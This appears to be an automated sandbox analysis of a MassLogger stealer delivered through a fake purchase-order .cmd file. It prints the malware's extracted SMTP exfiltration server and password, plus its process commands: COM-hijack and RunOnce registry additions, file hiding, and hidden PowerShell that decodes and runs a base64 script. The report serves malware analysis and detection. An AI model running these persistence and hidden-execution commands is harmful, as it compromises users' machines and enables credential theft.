Analysis
- max time kernel
149s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
27/04/2026, 06:08
General
- Target Re PO#HD80300-Order-SD00PG2006.cmd
- Size 122KB
- Sample260427-gwd9pacw21
- SHA256 248812accf82ca745dd93e7f825be990dec0dfdce44ec3e1d8475f523962fa5c
Malware Config
Extracted
-
Protocol
smtp
-
Host
mail.taikei-rmc-co.biz
-
Port
587
-
Username
-
Password
dy8tm;jRtJO[:bG:
Extracted
-
masslogger
-
exfiltration_mode
#SMTPEnabled
-
expire_time_date
2025-12-17
-
host_password
dy8tm;jRtJO[:bG:
-
host_port
587
- host_receiver
- host_sender
-
host_server
mail.taikei-rmc-co.biz
-
ssl_slate
True
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Family: MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
- Detects DonutLoader 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Modifies registry class 6 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 21 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- outlook_office_path
- outlook_win_path
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Re PO#HD80300-Order-SD00PG2006.cmd"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Re PO#HD80300-Order-SD00PG2006.cmd"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\GUILTY.bat"4⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{74C19A41-6FE0-29F5-9DA0-03669D45D8CD}" /ve /t REG_SZ /d "System Shell Extension" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{74C19A41-6FE0-29F5-9DA0-03669D45D8CD}\InProcServer32" /ve /t REG_SZ /d "rundll32.exe" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{74C19A41-6FE0-29F5-9DA0-03669D45D8CD}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Palestinian" /t REG_SZ /d "cmd.exe /c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\GUILTY.bat\"" /f4⤵
- Adds Run key to start application
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -Command "[Runtime.InteropServices.Marshal]::freeHGlobal([IntPtr]::Zero); [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((Get-Content 'C:\Users\Admin\AppData\Local\Temp\billion.tmp' -Raw).Replace('`r','').Replace('`n',''))) | Out-File -FilePath 'C:\Users\Admin\AppData\Local\Temp\Congress.ps1' -Encoding UTF8"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -File "C:\Users\Admin\AppData\Local\Temp\Congress.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wbbhmrsp\wbbhmrsp.cmdline"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES60E8.tmp" "c:\Users\Admin\AppData\Local\Temp\wbbhmrsp\CSC828D8723D74E4B6A8B177C9A1F31429.TMP"6⤵
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
Congress.ps1
RES60E8.tmp
__PSScriptPolicyTest_kssyun4x.z14.ps1
billion.tmp
billion.tmp
wbbhmrsp.dll
GUILTY.bat
CSC828D8723D74E4B6A8B177C9A1F31429.TMP
wbbhmrsp.0.cs
wbbhmrsp.cmdline
memory/2392-78-0x0000023AD35D0000-0x0000023AD35DC000-memory.dmp
memory/3160-50-0x00000175E9B30000-0x00000175E9B52000-memory.dmp
memory/3160-58-0x00000175E9BD0000-0x00000175E9C7D000-memory.dmp
memory/3160-57-0x00000175D1470000-0x00000175D147C000-memory.dmp
memory/3160-43-0x00000175E9BC0000-0x00000175E9BD0000-memory.dmp
memory/3160-44-0x00000175E9BC0000-0x00000175E9BD0000-memory.dmp
memory/3228-126-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-117-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-148-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-146-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-86-0x0000000002730000-0x0000000002740000-memory.dmp
memory/3228-88-0x0000000007D40000-0x0000000007D5E000-memory.dmp
memory/3228-147-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-145-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-92-0x0000000009920000-0x0000000009970000-memory.dmp
memory/3228-93-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-94-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-95-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-98-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-97-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-96-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-99-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-100-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-104-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-103-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-102-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-101-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-105-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-106-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-107-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-108-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-109-0x0000000026420000-0x00000000265E2000-memory.dmp
memory/3228-110-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-111-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-112-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-113-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-115-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-114-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-116-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-144-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-119-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-121-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-120-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-118-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-122-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-123-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-124-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-125-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-143-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-127-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-128-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-129-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-130-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-131-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-132-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-133-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-137-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-136-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-135-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-134-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-138-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-139-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-140-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-141-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/3228-142-0x0000000008A50000-0x0000000008A60000-memory.dmp
memory/4028-81-0x000002A19EF20000-0x000002A19EF2C000-memory.dmp
memory/4708-83-0x000001A7534B0000-0x000001A7534B8000-memory.dmp
memory/4708-91-0x000001A753020000-0x000001A7530CD000-memory.dmp
memory/4708-90-0x000001A73A930000-0x000001A73A93C000-memory.dmp
memory/4708-85-0x000001A753020000-0x000001A7530CD000-memory.dmp
memory/4708-84-0x000001A73A930000-0x000001A73A93C000-memory.dmp